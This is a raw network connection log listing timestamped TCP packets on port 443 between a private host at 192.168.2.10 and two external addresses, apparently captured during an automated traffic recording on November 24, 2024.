Nov 24, 2024 08:45:16.367332935 CET	50032	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.367475986 CET	50032	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.367484093 CET	443	50032	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.369292974 CET	443	50028	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.369349957 CET	50028	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.369384050 CET	50028	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.369406939 CET	443	50028	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.369421005 CET	50028	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.369430065 CET	443	50028	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.371526003 CET	50033	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.371568918 CET	443	50033	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.371629000 CET	50033	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.371747017 CET	50033	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.371762037 CET	443	50033	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.591178894 CET	443	50029	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.591420889 CET	443	50029	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.591475010 CET	443	50029	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.591490030 CET	50029	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.591537952 CET	50029	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.591691017 CET	50029	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.591712952 CET	443	50029	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.591723919 CET	50029	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.591728926 CET	443	50029	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.591778040 CET	443	50030	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.592223883 CET	50030	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.592245102 CET	443	50030	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.592895031 CET	50030	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.592899084 CET	443	50030	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.595206976 CET	50034	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.595244884 CET	443	50034	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.595330000 CET	50034	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.595542908 CET	50034	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.595551968 CET	443	50034	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:17.034823895 CET	443	50030	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:17.034900904 CET	443	50030	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:17.035098076 CET	50030	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:17.035417080 CET	50030	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:17.035437107 CET	443	50030	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:17.035470009 CET	50030	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:17.035475969 CET	443	50030	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:17.038758039 CET	50036	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:17.038822889 CET	443	50036	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:17.038896084 CET	50036	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:17.039248943 CET	50036	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:17.039264917 CET	443	50036	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.039638996 CET	443	50031	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.090668917 CET	50031	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.098229885 CET	50031	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.098239899 CET	443	50031	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.121640921 CET	50031	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.121648073 CET	443	50031	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.163405895 CET	443	50032	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.168050051 CET	50032	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.168066025 CET	443	50032	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.168584108 CET	50032	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.168589115 CET	443	50032	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.316266060 CET	443	50034	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.316827059 CET	50034	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.316839933 CET	443	50034	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.317513943 CET	50034	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.317518950 CET	443	50034	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.482640982 CET	443	50031	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.486253977 CET	443	50031	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.486382961 CET	50031	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.486475945 CET	50031	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.486476898 CET	50031	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.486521959 CET	443	50031	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.486548901 CET	443	50031	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.490176916 CET	50037	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.490232944 CET	443	50037	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.490314007 CET	50037	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.490514040 CET	50037	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.490539074 CET	443	50037	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.569257021 CET	443	50033	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.569847107 CET	50033	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.569864988 CET	443	50033	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.570316076 CET	50033	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.570321083 CET	443	50033	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.606237888 CET	443	50032	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.609792948 CET	443	50032	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.609880924 CET	50032	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.609957933 CET	50032	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.609968901 CET	443	50032	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.609982014 CET	50032	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.609987020 CET	443	50032	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.613452911 CET	50038	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.613518953 CET	443	50038	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.613606930 CET	50038	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.613792896 CET	50038	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.613826036 CET	443	50038	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.751427889 CET	443	50034	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.754550934 CET	443	50034	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.754610062 CET	50034	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.754693031 CET	50034	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.754703045 CET	443	50034	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.754731894 CET	50034	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.754736900 CET	443	50034	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.758368015 CET	50039	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.758419991 CET	443	50039	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.758481026 CET	50039	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.758632898 CET	50039	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.758649111 CET	443	50039	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.832539082 CET	443	50036	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.833107948 CET	50036	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.833137989 CET	443	50036	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:18.833604097 CET	50036	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:18.833616018 CET	443	50036	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.020761967 CET	443	50033	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.023786068 CET	443	50033	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.023844957 CET	443	50033	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.023859978 CET	50033	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.023909092 CET	50033	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.023969889 CET	50033	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.023988008 CET	443	50033	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.023997068 CET	50033	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.024002075 CET	443	50033	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.027285099 CET	50040	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.027337074 CET	443	50040	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.027431011 CET	50040	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.027611971 CET	50040	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.027623892 CET	443	50040	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.277153015 CET	443	50036	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.279750109 CET	443	50036	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.279823065 CET	443	50036	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.279966116 CET	50036	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.280062914 CET	50036	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.280062914 CET	50036	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.280109882 CET	443	50036	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.280138016 CET	443	50036	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.283457994 CET	50041	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.283507109 CET	443	50041	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:19.283591032 CET	50041	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.283891916 CET	50041	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:19.283905029 CET	443	50041	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.350553036 CET	443	50037	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.351363897 CET	50037	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.351382017 CET	443	50037	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.352050066 CET	50037	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.352054119 CET	443	50037	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.405915976 CET	443	50038	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.408716917 CET	50038	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.408751965 CET	443	50038	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.409383059 CET	50038	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.409392118 CET	443	50038	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.484863997 CET	443	50039	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.503958941 CET	50039	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.503988981 CET	443	50039	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.507991076 CET	50039	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.507998943 CET	443	50039	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.805779934 CET	443	50037	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.808872938 CET	443	50037	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.808931112 CET	50037	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.809084892 CET	50037	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.809103966 CET	443	50037	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.813568115 CET	50042	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.813621044 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.813715935 CET	50042	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.813976049 CET	50042	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.813991070 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.844156027 CET	50043	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:45:20.844225883 CET	443	50043	142.250.181.68	192.168.2.10
Nov 24, 2024 08:45:20.844326019 CET	50043	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:45:20.844548941 CET	50043	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:45:20.844564915 CET	443	50043	142.250.181.68	192.168.2.10
Nov 24, 2024 08:45:20.849792957 CET	443	50038	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.853580952 CET	443	50038	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.853627920 CET	50038	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.853638887 CET	443	50038	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.853686094 CET	50038	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.853760004 CET	50038	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.853785038 CET	443	50038	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.853804111 CET	50038	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.853811979 CET	443	50038	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.856944084 CET	50044	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.856983900 CET	443	50044	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.857059002 CET	50044	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.857211113 CET	50044	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.857223988 CET	443	50044	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.893987894 CET	443	50040	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.894661903 CET	50040	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.894681931 CET	443	50040	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.895239115 CET	50040	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.895246029 CET	443	50040	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.926136017 CET	443	50039	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.929224014 CET	443	50039	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.929294109 CET	50039	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.929351091 CET	50039	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.929372072 CET	443	50039	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.929426908 CET	50039	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.929434061 CET	443	50039	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.933872938 CET	50045	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.933918953 CET	443	50045	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:20.933989048 CET	50045	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.934292078 CET	50045	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:20.934303999 CET	443	50045	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.080276012 CET	443	50041	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.080916882 CET	50041	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.080948114 CET	443	50041	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.081408978 CET	50041	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.081413984 CET	443	50041	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.348387003 CET	443	50040	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.351974010 CET	443	50040	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.353532076 CET	50040	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.353593111 CET	50040	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.353593111 CET	50040	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.353615046 CET	443	50040	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.353622913 CET	443	50040	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.357384920 CET	50046	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.357450008 CET	443	50046	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.357511997 CET	50046	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.357728004 CET	50046	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.357747078 CET	443	50046	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.527124882 CET	443	50041	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.530241966 CET	443	50041	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.530339956 CET	50041	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.530400038 CET	50041	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.530416965 CET	443	50041	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.530428886 CET	50041	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.530435085 CET	443	50041	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.533464909 CET	50047	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.533543110 CET	443	50047	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:21.533629894 CET	50047	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.541430950 CET	50047	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:21.541462898 CET	443	50047	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.531647921 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.534070015 CET	50042	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.534094095 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.534620047 CET	50042	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.534626007 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.537272930 CET	443	50043	142.250.181.68	192.168.2.10
Nov 24, 2024 08:45:22.537954092 CET	50043	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:45:22.537981987 CET	443	50043	142.250.181.68	192.168.2.10
Nov 24, 2024 08:45:22.538368940 CET	443	50043	142.250.181.68	192.168.2.10
Nov 24, 2024 08:45:22.541237116 CET	50043	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:45:22.541357040 CET	443	50043	142.250.181.68	192.168.2.10
Nov 24, 2024 08:45:22.591110945 CET	50043	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:45:22.637058020 CET	443	50044	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.639405012 CET	50044	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.639437914 CET	443	50044	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.639941931 CET	50044	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.639946938 CET	443	50044	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.719507933 CET	443	50045	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.722094059 CET	50045	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.722121954 CET	443	50045	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.722609997 CET	50045	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.722615957 CET	443	50045	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.969130993 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.972278118 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.972341061 CET	50042	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.972369909 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.972445965 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.972482920 CET	50042	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.972510099 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.972524881 CET	50042	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.972524881 CET	50042	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.972537994 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.972546101 CET	443	50042	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.975855112 CET	50048	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.975883007 CET	443	50048	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:22.975951910 CET	50048	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.976129055 CET	50048	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:22.976141930 CET	443	50048	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.081866980 CET	443	50044	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.084739923 CET	443	50044	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.084834099 CET	50044	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.084875107 CET	50044	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.084875107 CET	50044	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.084892988 CET	443	50044	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.084903002 CET	443	50044	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.087833881 CET	50049	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.087888002 CET	443	50049	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.087965965 CET	50049	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.088131905 CET	50049	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.088145971 CET	443	50049	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.149353981 CET	443	50046	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.150006056 CET	50046	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.150027990 CET	443	50046	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.150525093 CET	50046	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.150530100 CET	443	50046	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.163611889 CET	443	50045	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.163728952 CET	443	50045	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.163805008 CET	50045	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.163958073 CET	50045	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.163975954 CET	443	50045	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.163986921 CET	50045	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.163991928 CET	443	50045	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.167222023 CET	50050	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.167272091 CET	443	50050	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.167351961 CET	50050	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.167537928 CET	50050	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.167551994 CET	443	50050	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.324223995 CET	443	50047	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.324801922 CET	50047	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.324831963 CET	443	50047	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.325305939 CET	50047	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.325310946 CET	443	50047	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.596668959 CET	443	50046	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.599736929 CET	443	50046	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.599879980 CET	50046	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.602370024 CET	50046	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.602387905 CET	443	50046	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.602416039 CET	50046	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.602426052 CET	443	50046	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.606173992 CET	50051	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.606232882 CET	443	50051	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.606316090 CET	50051	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.606439114 CET	50051	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.606453896 CET	443	50051	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.768007994 CET	443	50047	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.770602942 CET	443	50047	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.770698071 CET	50047	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.770782948 CET	50047	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.770782948 CET	50047	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.770828962 CET	443	50047	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.770855904 CET	443	50047	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.773982048 CET	50052	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.774022102 CET	443	50052	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:23.774108887 CET	50052	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.774302006 CET	50052	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:23.774322033 CET	443	50052	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:24.766205072 CET	443	50048	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:24.766882896 CET	50048	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:24.766907930 CET	443	50048	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:24.767389059 CET	50048	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:24.767395020 CET	443	50048	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:24.813208103 CET	443	50049	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:24.814091921 CET	50049	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:24.814126968 CET	443	50049	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:24.814589024 CET	50049	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:24.814594984 CET	443	50049	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.209256887 CET	443	50050	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.209862947 CET	50050	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.209894896 CET	443	50050	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.210190058 CET	443	50048	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.210395098 CET	50050	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.210401058 CET	443	50050	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.213500023 CET	443	50048	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.213717937 CET	50048	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.213785887 CET	50048	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.213804007 CET	443	50048	13.107.246.63	192.168.2.10
